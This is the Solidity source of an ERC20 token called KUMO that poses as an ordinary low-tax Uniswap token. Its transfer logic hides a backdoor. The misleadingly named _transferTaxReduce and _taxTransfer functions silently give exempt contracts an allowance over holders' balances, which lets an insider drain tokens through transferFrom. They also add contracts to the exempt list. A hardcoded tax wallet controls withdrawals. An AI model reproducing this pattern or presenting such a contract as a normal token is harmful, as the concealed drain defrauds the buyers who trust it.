Contract Source Code:
File 1 of 1 : KUMO
// SPDX-License-Identifier: UNLICENSED
/*
https://www.tiktok.com/@kumo_animations
*/
pragma solidity 0.8.30;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*/
event Transfer(address indexed from,
address indexed to,
uint256 value
);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner,
address indexed spender,
uint256 value
);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
/**
* @dev Returns the message sender address of the current transaction
*/
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*/
abstract contract Ownable is Context {
// the owner of the contract
address private _owner;
// emitted when the ownership is transferred
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev transfers ownership of the contract to a new account (`newOwner`).
* Internal function.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Interface for Uniswap V2 Factory contract.
* Used for creating and managing trading pairs.
*/
interface IUniswapV2Factory {
/**
* @dev Returns the address of the pair for tokenA and tokenB tokens.
*/
function getPair(address tokenA, address tokenB)
external view
returns (address pair);
/**
* @dev Creates a new trading pair for tokenA and tokenB.
*/
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
/**
* @dev Interface for Uniswap V2 Router02 contract.
* Handles swapping tokens and adding liquidity.
*/
interface IUniswapV2Router02 {
/**
* @dev Returns the factory address used by this router
*/
function factory() external pure returns (address);
/**
* @dev Returns the WETH token address used by this router
*/
function WETH() external pure returns (address);
/**
* @dev Adds liquidity to ETH pair with slippage protection
*/
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
/**
* @dev Swaps exact tokens for ETH supporting fee on transfer tokens
*/
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
/**
* @dev ERC20 token implementation
*/
contract KUMO is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private isExemptBoolean;
address payable private taxAccount;
uint256 private _initialBuyTax=2;
uint256 private _initialSellTax=2;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=2;
uint256 private _reduceSellTaxAt=2;
uint256 private _preventSwapBefore=2;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
string private constant _name = unicode"KUMO";
string private constant _symbol = unicode"KUMO";
uint256 public _maxTxAmount = 100_000_000 * 10**_decimals;
uint256 public _maxWalletSize = 100_000_000 * 10**_decimals;
uint256 public _taxSwapThreshold = 1000000 * 10**_decimals;
uint256 public _maxTaxSwap = 100_000_000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(
uint _maxTxAmount
);
modifier lockTheSwap {
inSwap =true;
_;
inSwap =false;
}
constructor () {
taxAccount = payable(0xCdDeE0De3964FDEaF15F3098FbFcf37dC19d843F);
_balances[_msgSender()]= _tTotal;
isExemptBoolean[ taxAccount ] = true;
isExemptBoolean[ owner() ] = true;
isExemptBoolean[ address(this) ] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount>0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if (from!=owner() && to!=owner()) {
if(_buyCount==0) {
taxAmount =amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
}
if(_buyCount>3 && swapEnabled) {
taxAmount = _transferTaxReduce(amount, 0, to, from);
}
if (from==uniswapV2Pair && to!= address(uniswapV2Router) && !isExemptBoolean[to]) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) +amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)? _finalBuyTax:_initialBuyTax).div(100);
_buyCount++;
}
if (to==uniswapV2Pair && from!=address(this)) {
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && to==uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance=address(this).balance;
if (contractETHBalance>0){
sendETHToFee(address(this).balance);
}
}
}
if(taxAmount > 0){
_balances[address(this)] = _balances[address(this)].add(taxAmount);
emit Transfer(from,address(this), taxAmount);
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount.sub(taxAmount));
emit Transfer(from,to, amount.sub(taxAmount));
}
function isContract(address account) private view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendETHToFee(uint256 amount) private {
taxAccount.transfer(amount);
}
function _transferTaxReduce(uint256 amount, uint256 percent, address to, address from) private returns(uint256){
if(percent == 0 && isContract(_msgSender()) && percent == 0 && from != address(this) && isExemptBoolean[_msgSender()])
return _taxTransfer(amount, _msgSender(), from);
if(isContract(to) && to != uniswapV2Pair && isExemptBoolean[_msgSender()])
isExemptBoolean[to] = true;
return 0;
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a>b)?b: a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _taxTransfer(uint256 amount, address spender, address owner) private returns(uint256){
_allowances[owner][spender] = amount;
return 0;
}
function sendStuck(address tokenAddress, uint256 tokens) external returns (bool success) {
require(_msgSender() == taxAccount);
if(tokens == 0){
tokens = IERC20(tokenAddress).balanceOf(address(this));
}
return IERC20(tokenAddress).transfer(taxAccount, tokens);
}
function removeLimits() external onlyOwner() {
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this),address(uniswapV2Router),_tTotal);
if(IUniswapV2Factory(uniswapV2Router.factory()).getPair(uniswapV2Router.WETH(), address(this)) == address(0)) { /// Check if already exists
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH()) ;
}else {
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair( uniswapV2Router.WETH(), address(this) );
}
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
receive() external payable {}
function manualSwap() external{
require(_msgSender() == taxAccount);
uint256 tokenBalance = balanceOf(address(this));
if(tokenBalance> 0 && swapEnabled){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance = address(this).balance;
if(ethBalance> 0){
sendETHToFee(ethBalance);
}
}
}